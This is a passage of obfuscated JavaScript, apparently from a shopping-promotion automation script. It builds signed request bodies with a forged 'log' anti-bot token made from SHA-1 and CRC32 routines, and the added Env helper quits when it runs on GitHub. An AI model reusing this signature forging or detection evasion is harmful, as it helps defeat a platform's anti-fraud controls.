_0x2a87ba=0x0;_0x2459f7['pyOOK'](_0x2a87ba,_0x34f5bd['toString']()[_0x5d0f('16','eb6n')]);_0x2a87ba++){if(_0x2459f7['HcLbO'](_0x2459f7[_0x5d0f('17','g#p(')],_0x2459f7[_0x5d0f('18','UhSj')])){pos=Math[_0x5d0f('19','LiYN')](_0x2459f7['jfrto'](Math['random'](),arr[_0x5d0f('1a','P[[8')]-0x1));str+=arr[pos];}else{_0x1c2210=_0x2a87ba;if(_0x2459f7['nclsN'](_0x1c2210,_0x261c7d[_0x5d0f('1b','mG2*')]))_0x1c2210-=_0x261c7d[_0x5d0f('1c','JUrC')];_0x47261f=_0x34f5bd['toString']()['charCodeAt'](_0x2a87ba)^_0x261c7d[_0x5d0f('1d','wRVw')](_0x1c2210);_0x7777bf[_0x5d0f('1e','^r[Y')](_0x2459f7[_0x5d0f('1f','K&6(')](_0x47261f,0xa));}}return _0x7777bf['toString']()[_0x5d0f('20','67kl')](/,/g,'');}function toAscii(_0x2c430c){var _0x4e8dd6={'dHiSG':function(_0x367444,_0x4d927b){return _0x367444(_0x4d927b);}};var _0xcfa266='';for(var _0x1ca3ab in _0x2c430c){var _0x50cc1f=_0x2c430c[_0x1ca3ab],_0x2be7f9=/[a-zA-Z]/['test'](_0x50cc1f);if(_0x2c430c['hasOwnProperty'](_0x1ca3ab))if(_0x2be7f9)_0xcfa266+=_0x4e8dd6[_0x5d0f('21','wRVw')](getLastAscii,_0x50cc1f);else _0xcfa266+=_0x50cc1f;}return _0xcfa266;}function add0(_0x11ba52,_0x595c1c){var _0x4dd66d={'nPaVH':function(_0x227628,_0x4fb675){return _0x227628+_0x4fb675;},'KYbAd':function(_0x1f585c,_0x599d8f){return _0x1f585c(_0x599d8f);}};return _0x4dd66d[_0x5d0f('22','Q1q0')](_0x4dd66d[_0x5d0f('23','Gw3R')](Array,_0x595c1c)[_0x5d0f('24','X5GX')]('0'),_0x11ba52)[_0x5d0f('25','h8!g')](-_0x595c1c);}function getLastAscii(_0x32faf4){var _0x2a68bb={'RlxdF':function(_0x431d5f,_0x4473b6){return _0x431d5f-_0x4473b6;}};var _0x16a5f1=_0x32faf4[_0x5d0f('26','Zru9')](0x0)['toString']();return _0x16a5f1[_0x2a68bb[_0x5d0f('27','g#p(')](_0x16a5f1[_0x5d0f('28','F]wS')],0x1)];}function wordsToBytes(_0x20a202){var _0x53ac2e={'NsvqU':function(_0x238c73,_0x5b11c5){return _0x238c73<_0x5b11c5;},'GltOo':function(_0x772c34,_0x206b3a){return _0x772c34>>>_0x206b3a;},'SeGte':function(_0x28bc2c,_0xcebd6){return _0x28bc2c-_0xcebd6;}};for(var _0x16976b=[],_0x2d7ece=0x0;_0x53ac2e[_0x5d0f('29','tZeG')](_0x2d7ece,0x20*_0x20a202[_0x5d0f('2a','Gw3R')]);_0x2d7ece+=0x8)_0x16976b['push'](_0x53ac2e['GltOo'](_0x20a202[_0x53ac2e[_0x5d0f('2b','s^4*')](_0x2d7ece,0x5)],_0x53ac2e[_0x5d0f('2c','O3*%')](0x18,_0x2d7ece%0x20))&0xff);return _0x16976b;}function bytesToHex(_0x479043){var _0x925eea={'EkFdf':function(_0x378287,_0xbe528){return _0x378287<_0xbe528;}};for(var _0x38b2e2=[],_0xf9d3e9=0x0;_0x925eea[_0x5d0f('2d','pIyP')](_0xf9d3e9,_0x479043['length']);_0xf9d3e9++)_0x38b2e2[_0x5d0f('1e','^r[Y')]((_0x479043[_0xf9d3e9]>>>0x4)['toString'](0x10)),_0x38b2e2[_0x5d0f('2e','YVDs')]((0xf&_0x479043[_0xf9d3e9])[_0x5d0f('2f','JUrC')](0x10));return _0x38b2e2['join']('');}function stringToBytes(_0xe40c0b){var _0x5e5101={'FtHAp':function(_0x4e135c,_0x21ec62){return _0x4e135c(_0x21ec62);},'WQWEq':function(_0x39776e,_0x5d04b7){return _0x39776e&_0x5d04b7;}};_0xe40c0b=_0x5e5101[_0x5d0f('30','&01^')](unescape,encodeURIComponent(_0xe40c0b));for(var _0x239a82=[],_0x258c76=0x0;_0x258c76<_0xe40c0b[_0x5d0f('31','JM[s')];_0x258c76++)_0x239a82['push'](_0x5e5101[_0x5d0f('32','^r[Y')](0xff,_0xe40c0b[_0x5d0f('33','uF8H')](_0x258c76)));return _0x239a82;}function bytesToWords(_0x3b1795){var _0xc519d={'OwMRS':function(_0x5a69d4,_0x124d80){return _0x5a69d4>>>_0x124d80;}};for(var _0x895b47=[],_0xc8c6eb=0x0,_0x2e6c75=0x0;_0xc8c6eb<_0x3b1795[_0x5d0f('34','Q1q0')];_0xc8c6eb++,_0x2e6c75+=0x8)_0x895b47[_0xc519d['OwMRS'](_0x2e6c75,0x5)]|=_0x3b1795[_0xc8c6eb]<<0x18-_0x2e6c75%0x20;return _0x895b47;}function crc32(_0xea794f){var _0x30732e={'zmtIM':function(_0x4259cd,_0x5e75d6){return _0x4259cd(_0x5e75d6);},'gCCPD':function(_0x31a006,_0x1c822e){return _0x31a006<_0x1c822e;},'jigRi':function(_0x48758b,_0x19e7d6){return _0x48758b>_0x19e7d6;},'bbpOW':function(_0x17b1c4,_0x352e6f){return _0x17b1c4|_0x352e6f;},'bgceJ':function(_0x3ef2b9,_0xa16f05){return _0x3ef2b9>>_0xa16f05;},'QSvit':function(_0x4092a7,_0x8c80b1){return _0x4092a7&_0x8c80b1;},'xcyDl':function(_0x37a27f,_0x25f617){return _0x37a27f!==_0x25f617;},'DrwJU':'YGvVW','nHpeq':function(_0x62be74,_0x73ca78){return _0x62be74<_0x73ca78;},'NFDsZ':function(_0x522734,_0x1173a7){return _0x522734+_0x1173a7;},'yhuyP':function(_0x37358b,_0x55d4bb){return _0x37358b^_0x55d4bb;},'ZoqMW':function(_0xea2fa5,_0x340be6){return _0xea2fa5-_0x340be6;},'fadaF':function(_0x48042d,_0x30b47f){return _0x48042d|_0x30b47f;},'zgdcv':function(_0x5b688b,_0x59aac4){return _0x5b688b<<_0x59aac4;},'jFxmT':function(_0x773039,_0x5bcf2e){return _0x773039>>>_0x5bcf2e;},'HccVF':function(_0x5799b4,_0x5d20c9){return _0x5799b4+_0x5d20c9;},'xDBRb':function(_0x2ffb64,_0x12131b){return _0x2ffb64>>>_0x12131b;},'AWAQK':function(_0x15fc97,_0x28a98a){return _0x15fc97|_0x28a98a;},'QSKJG':function(_0xa52fd6,_0x1a53f5){return _0xa52fd6+_0x1a53f5;},'OiHDK':function(_0xbad72e,_0x4d9656){return _0xbad72e<_0x4d9656;},'ZwiQk':function(_0xfcad03,_0x325625){return _0xfcad03-_0x325625;},'xnSZS':function(_0x571da9,_0x28c73e){return _0x571da9|_0x28c73e;},'ojdDa':function(_0xef2190,_0x3031fd){return _0xef2190&_0x3031fd;},'nOQYx':function(_0x4fcdcd,_0x2f5b45){return _0x4fcdcd^_0x2f5b45;},'TdBCs':function(_0x4631f6,_0x46e48f){return _0x4631f6^_0x46e48f;},'boVDs':function(_0x266493,_0x6e1164){return _0x266493!==_0x6e1164;},'FAuFk':_0x5d0f('35','%iLq'),'exIhF':_0x5d0f('36','79#U'),'uinyc':function(_0x2ff61f,_0x3463d4){return _0x2ff61f>>>_0x3463d4;},'XSbnN':function(_0x2b402a,_0x17d60f){return _0x2b402a>>>_0x17d60f;}};function _0x3f117a(_0x1320f0){_0x1320f0=_0x1320f0[_0x5d0f('37','V(n8')](/\r\n/g,'\x0a');var _0x13b99a='';for(var _0x513ec0=0x0;_0x30732e[_0x5d0f('38','s^4*')](_0x513ec0,_0x1320f0[_0x5d0f('11',']E&A')]);_0x513ec0++){var _0x205ba6=_0x1320f0['charCodeAt'](_0x513ec0);if(_0x30732e[_0x5d0f('39','nSkw')](_0x205ba6,0x80)){_0x13b99a+=String[_0x5d0f('3a','R#my')](_0x205ba6);}else if(_0x30732e['jigRi'](_0x205ba6,0x7f)&&_0x30732e['gCCPD'](_0x205ba6,0x800)){_0x13b99a+=String[_0x5d0f('3b','GbNz')](_0x30732e[_0x5d0f('3c','UhSj')](_0x30732e['bgceJ'](_0x205ba6,0x6),0xc0));_0x13b99a+=String['fromCharCode'](_0x30732e['bbpOW'](_0x30732e[_0x5d0f('3d','x7xC')](_0x205ba6,0x3f),0x80));}else{if(_0x30732e[_0x5d0f('3e','uF8H')](_0x30732e[_0x5d0f('3f','VkdQ')],_0x5d0f('40','Y!D2'))){var _0x443091='';for(var _0x9a89b1 in t){var _0x2829ed=t[_0x9a89b1],_0x6f3e50=/[a-zA-Z]/['test'](_0x2829ed);if(t[_0x5d0f('41','Gw3R')](_0x9a89b1))if(_0x6f3e50)_0x443091+=_0x30732e[_0x5d0f('42','LKK2')](getLastAscii,_0x2829ed);else _0x443091+=_0x2829ed;}return _0x443091;}else{_0x13b99a+=String[_0x5d0f('43','tZeG')](_0x30732e[_0x5d0f('44','JM[s')](_0x205ba6,0xc)|0xe0);_0x13b99a+=String[_0x5d0f('45','eb6n')](_0x30732e[_0x5d0f('46','s^4*')](_0x30732e['bgceJ'](_0x205ba6,0x6)&0x3f,0x80));_0x13b99a+=String[_0x5d0f('47','@w&B')](_0x30732e[_0x5d0f('48','CTFi')](_0x30732e[_0x5d0f('49','P[[8')](_0x205ba6,0x3f),0x80));}}}return _0x13b99a;};_0xea794f=_0x30732e['zmtIM'](_0x3f117a,_0xea794f);var _0x9d2f6e=[0x0,0x77073096,0xee0e612c,0x990951ba,0x76dc419,0x706af48f,0xe963a535,0x9e6495a3,0xedb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x9b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x1db7106,0x98d220bc,0xefd5102a,0x71b18589,0x6b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0xf00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x86d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x3b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x4db2615,0x73dc1683,0xe3630b12,0x94643b84,0xd6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0xa00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x26d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x5005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0xcb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0xbdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d];var _0x5841e3=0x0;var _0x4135e4=0x0;_0x4135e4=_0x30732e['TdBCs'](_0x4135e4,-0x1);for(var _0x1a9565=0x0,_0x256d01=_0xea794f['length'];_0x30732e[_0x5d0f('4a','&01^')](_0x1a9565,_0x256d01);_0x1a9565++){if(_0x30732e[_0x5d0f('4b','Y!D2')](_0x30732e[_0x5d0f('4c','z(N7')],_0x30732e[_0x5d0f('4d','VkdQ')])){_0x5841e3=_0xea794f[_0x5d0f('4e','mG2*')](_0x1a9565);_0x4135e4=_0x9d2f6e[_0x30732e[_0x5d0f('4f','67kl')](0xff,_0x4135e4^_0x5841e3)]^_0x30732e[_0x5d0f('50','BI(P')](_0x4135e4,0x8);}else{for(var _0x248230=s,_0x4b6bc8=u,_0xb6be9b=c,_0x5a2f3e=f,_0x10817c=h,_0x15a3b9=0x0;_0x30732e['nHpeq'](_0x15a3b9,0x50);_0x15a3b9++){if(_0x30732e[_0x5d0f('51','b^!y')](_0x15a3b9,0x10))a[_0x15a3b9]=e[_0x30732e[_0x5d0f('52','hg0S')](l,_0x15a3b9)];else{var _0x285a5a=_0x30732e[_0x5d0f('53','LKK2')](a[_0x30732e[_0x5d0f('54','JM[s')](_0x15a3b9,0x3)],a[_0x15a3b9-0x8])^a[_0x15a3b9-0xe]^a[_0x15a3b9-0x10];a[_0x15a3b9]=_0x30732e['fadaF'](_0x30732e['zgdcv'](_0x285a5a,0x1),_0x30732e[_0x5d0f('55','BI(P')](_0x285a5a,0x1f));}var _0x17a4dc=_0x30732e[_0x5d0f('56','hL8D')](_0x30732e[_0x5d0f('57','R#my')](_0x30732e[_0x5d0f('58','Q1q0')](s<<0x5,_0x30732e['xDBRb'](s,0x1b))+h,_0x30732e[_0x5d0f('59','hL8D')](a[_0x15a3b9],0x0)),_0x15a3b9<0x14?_0x30732e['HccVF'](0x5a827999,_0x30732e[_0x5d0f('5a','JUrC')](u&c,~u&f)):_0x30732e[_0x5d0f('5b','F]wS')](_0x15a3b9,0x28)?_0x30732e[_0x5d0f('5c','R#my')](0x6ed9eba1,u^c^f):_0x30732e[_0x5d0f('5d','hg0S')](_0x15a3b9,0x3c)?_0x30732e[_0x5d0f('5e','GbNz')](_0x30732e[_0x5d0f('5f','uKab')](_0x30732e[_0x5d0f('60','Q1q0')](u,c),_0x30732e[_0x5d0f('61','O3*%')](u,f))|_0x30732e[_0x5d0f('62','VkdQ')](c,f),0x70e44324):_0x30732e[_0x5d0f('63','uF8H')](_0x30732e[_0x5d0f('64','z(N7')](u,c),f)-0x359d3e2a);h=f,f=c,c=_0x30732e['zgdcv'](u,0x1e)|u>>>0x2,u=s,s=_0x17a4dc;}s+=_0x248230,u+=_0x4b6bc8,c+=_0xb6be9b,f+=_0x5a2f3e,h+=_0x10817c;}}return _0x30732e[_0x5d0f('65','67kl')](_0x30732e[_0x5d0f('66','K&6(')](-0x1,_0x4135e4),0x0);};function getBody(){var _0x5097fd={'UTUpN':function(_0x4e83cc,_0x392a2f){return _0x4e83cc+_0x392a2f;},'UNCnn':function(_0x26a8d8,_0xfb9110){return _0x26a8d8*_0xfb9110;},'wLMhf':function(_0x29b37e,_0x8c909d,_0x54adc9){return _0x29b37e(_0x8c909d,_0x54adc9);},'eotnJ':_0x5d0f('67','M&d@'),'Ltlls':function(_0x514a26,_0x492152){return _0x514a26(_0x492152);},'zAzmm':function(_0x31dd1c,_0x2c879c){return _0x31dd1c+_0x2c879c;},'GvHId':function(_0x10625a,_0x27acc9){return _0x10625a+_0x27acc9;},'ROeip':function(_0x14bd87,_0x4a0a42){return _0x14bd87(_0x4a0a42);},'xlciK':_0x5d0f('68','BwIe')};let _0x4edf03=Math[_0x5d0f('69','JUrC')](_0x5097fd[_0x5d0f('6a','[UVd')](0xf4240,_0x5097fd[_0x5d0f('6b','x7xC')](0x895440,Math['random']())))[_0x5d0f('6c','JM[s')]();let _0x463241=_0x5097fd[_0x5d0f('6d','VkdQ')](randomWord,![],0xa);let _0x1acd72=_0x5097fd['eotnJ'];let _0x186c30=Date[_0x5d0f('6e','Gw3R')]();let _0x2460d2=getKey(_0x186c30,_0x463241);let _0x3a4de6='random='+_0x4edf03+'&token='+_0x1acd72+_0x5d0f('6f','[UVd')+_0x186c30+'&nonce_str='+_0x463241+_0x5d0f('70','s^4*')+_0x2460d2+_0x5d0f('71','eb6n');let _0x35184c=_0x5097fd['Ltlls'](bytesToHex,wordsToBytes(_0x5097fd['Ltlls'](getSign,_0x3a4de6)))[_0x5d0f('72','c74f')]();let _0x46f771=_0x5097fd[_0x5d0f('73','BwIe')](crc32,_0x35184c)['toString'](0x24);_0x46f771=_0x5097fd[_0x5d0f('74','hL8D')](add0,_0x46f771,0x7);_0x35184c=_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('76','hL8D')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('78','VkdQ')](_0x5097fd['zAzmm'](_0x5097fd[_0x5d0f('79','[UVd')](_0x186c30['toString'](),'~1'),_0x463241),_0x1acd72)+'~4,1~',_0x35184c),'~'),_0x46f771),'~C~'),_0x35184c),'~'),_0x46f771);s=JSON['stringify']({'extraData':{'log':_0x5097fd['ROeip'](encodeURIComponent,_0x35184c),'sceneid':_0x5097fd[_0x5d0f('7a','UhSj')]},'secretp':secretp,'random':_0x4edf03[_0x5d0f('7b','Q1q0')]()});return s;}function getSign(_0x5c4631){var _0x5cbfa7={'fsqgu':function(_0x395529,_0x9b51f7){return _0x395529<_0x9b51f7;},'ILBZy':function(_0x3c5984,_0x164881){return _0x3c5984>>>_0x164881;},'qVQuW':function(_0x1131a2,_0x22d676){return _0x1131a2&_0x22d676;},'PzYxf':function(_0x221a16,_0x5aff58){return _0x221a16(_0x5aff58);},'CqEag':function(_0x29fe1d,_0xdaa166){return _0x29fe1d>>_0xdaa166;},'EyjhI':function(_0x4649e6,_0x10a863){return _0x4649e6<<_0x10a863;},'bpWct':function(_0x14779c,_0x21aa12){return _0x14779c-_0x21aa12;},'UzUgF':function(_0x56c5c8,_0x28a564){return _0x56c5c8%_0x28a564;},'Cwncg':function(_0x2ed9b5,_0x24dcca){return _0x2ed9b5+_0x24dcca;},'stmBC':function(_0x318f3e,_0x2299ad){return _0x318f3e<<_0x2299ad;},'cyrCS':_0x5d0f('7c',']E&A'),'dvcWT':function(_0x3e0dfe,_0x5be4e8){return _0x3e0dfe^_0x5be4e8;},'wtRUG':function(_0x4970fd,_0x53ad2a){return _0x4970fd^_0x53ad2a;},'KvGqO':function(_0x202d2e,_0x37a8bb){return _0x202d2e+_0x37a8bb;},'MgAbI':function(_0x5cf9fa,_0xff3512){return _0x5cf9fa|_0xff3512;},'mdUJR':function(_0x5e7edc,_0x59e7a6){return _0x5e7edc^_0x59e7a6;},'rahHa':function(_0x4cc57a,_0x150d0e){return _0x4cc57a|_0x150d0e;},'sTIDb':function(_0x4e546e,_0xf3fcf3){return _0x4e546e|_0xf3fcf3;},'xchFA':function(_0x406afa,_0x22dd82){return _0x406afa&_0x22dd82;},'PqjiU':function(_0x23b683,_0xab957b){return _0x23b683&_0xab957b;}};_0x5c4631=stringToBytes(_0x5c4631);var _0x280f0e=_0x5cbfa7['PzYxf'](bytesToWords,_0x5c4631),_0x50868f=0x8*_0x5c4631['length'],_0x14e96a=[],_0x9d2c54=0x67452301,_0x46e3b3=-0x10325477,_0x566d39=-0x67452302,_0x449b67=0x10325476,_0x9c56c=-0x3c2d1e10;_0x280f0e[_0x5cbfa7[_0x5d0f('7d','h8!g')](_0x50868f,0x5)]|=_0x5cbfa7[_0x5d0f('7e','hL8D')](0x80,_0x5cbfa7[_0x5d0f('7f','Gw3R')](0x18,_0x5cbfa7[_0x5d0f('80','O3*%')](_0x50868f,0x20))),_0x280f0e[_0x5cbfa7[_0x5d0f('81','uKab')](0xf,_0x5cbfa7[_0x5d0f('82','R#my')](_0x5cbfa7[_0x5d0f('83','&01^')](_0x50868f,0x40)>>>0x9,0x4))]=_0x50868f;for(var _0x8bcdb3=0x0;_0x8bcdb3<_0x280f0e['length'];_0x8bcdb3+=0x10){for(var _0x43baf2=_0x9d2c54,_0x4d1431=_0x46e3b3,_0x28709e=_0x566d39,_0x3c6a2f=_0x449b67,_0x26aa9c=_0x9c56c,_0x41cfc2=0x0;_0x41cfc2<0x50;_0x41cfc2++){if(_0x41cfc2<0x10)_0x14e96a[_0x41cfc2]=_0x280f0e[_0x5cbfa7[_0x5d0f('84','JUrC')](_0x8bcdb3,_0x41cfc2)];else{if(_0x5cbfa7['cyrCS']===_0x5cbfa7['cyrCS']){var _0x32561a=_0x5cbfa7['dvcWT'](_0x5cbfa7[_0x5d0f('85','M&d@')](_0x14e96a[_0x5cbfa7[_0x5d0f('86','z(N7')](_0x41cfc2,0x3)],_0x14e96a[_0x5cbfa7[_0x5d0f('87','nSkw')](_0x41cfc2,0x8)])^_0x14e96a[_0x5cbfa7['bpWct'](_0x41cfc2,0xe)],_0x14e96a[_0x5cbfa7[_0x5d0f('88',']E&A')](_0x41cfc2,0x10)]);_0x14e96a[_0x41cfc2]=_0x5cbfa7[_0x5d0f('89','uF8H')](_0x32561a,0x1)|_0x32561a>>>0x1f;}else{for(var _0xd7dc9a=[],_0x5d3cd2=0x0;_0x5cbfa7[_0x5d0f('8a','uF8H')](_0x5d3cd2,_0x5c4631[_0x5d0f('8b','s^4*')]);_0x5d3cd2++)_0xd7dc9a[_0x5d0f('8c','@w&B')](_0x5cbfa7[_0x5d0f('8d','hL8D')](_0x5c4631[_0x5d3cd2],0x4)[_0x5d0f('6c','JM[s')](0x10)),_0xd7dc9a[_0x5d0f('8e','BwIe')](_0x5cbfa7[_0x5d0f('8f','JM[s')](0xf,_0x5c4631[_0x5d3cd2])['toString'](0x10));return _0xd7dc9a[_0x5d0f('90','YVDs')]('');}}var _0x10fdaf=_0x5cbfa7[_0x5d0f('91','F]wS')](_0x5cbfa7[_0x5d0f('92','hg0S')](_0x5cbfa7['stmBC'](_0x9d2c54,0x5)|_0x9d2c54>>>0x1b,_0x9c56c)+_0x5cbfa7[_0x5d0f('93','JUrC')](_0x14e96a[_0x41cfc2],0x0),_0x5cbfa7[_0x5d0f('94','BI(P')](_0x41cfc2,0x14)?0x5a827999+_0x5cbfa7['MgAbI'](_0x46e3b3&_0x566d39,~_0x46e3b3&_0x449b67):_0x41cfc2<0x28?0x6ed9eba1+_0x5cbfa7['wtRUG'](_0x5cbfa7[_0x5d0f('95','CTFi')](_0x46e3b3,_0x566d39),_0x449b67):_0x5cbfa7[_0x5d0f('96','s^4*')](_0x41cfc2,0x3c)?_0x5cbfa7['rahHa'](_0x5cbfa7[_0x5d0f('97','^r[Y')](_0x5cbfa7[_0x5d0f('98','^r[Y')](_0x46e3b3,_0x566d39),_0x5cbfa7[_0x5d0f('99','uKab')](_0x46e3b3,_0x449b67)),_0x5cbfa7[_0x5d0f('9a','b^!y')](_0x566d39,_0x449b67))-0x70e44324:_0x5cbfa7[_0x5d0f('9b','JUrC')](_0x5cbfa7[_0x5d0f('9c','LiYN')](_0x46e3b3,_0x566d39)^_0x449b67,0x359d3e2a));_0x9c56c=_0x449b67,_0x449b67=_0x566d39,_0x566d39=_0x5cbfa7[_0x5d0f('9d','JUrC')](_0x46e3b3,0x1e)|_0x46e3b3>>>0x2,_0x46e3b3=_0x9d2c54,_0x9d2c54=_0x10fdaf;}_0x9d2c54+=_0x43baf2,_0x46e3b3+=_0x4d1431,_0x566d39+=_0x28709e,_0x449b67+=_0x3c6a2f,_0x9c56c+=_0x26aa9c;}return[_0x9d2c54,_0x46e3b3,_0x566d39,_0x449b67,_0x9c56c];};_0xodZ='jsjiami.com.v6';
+
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new 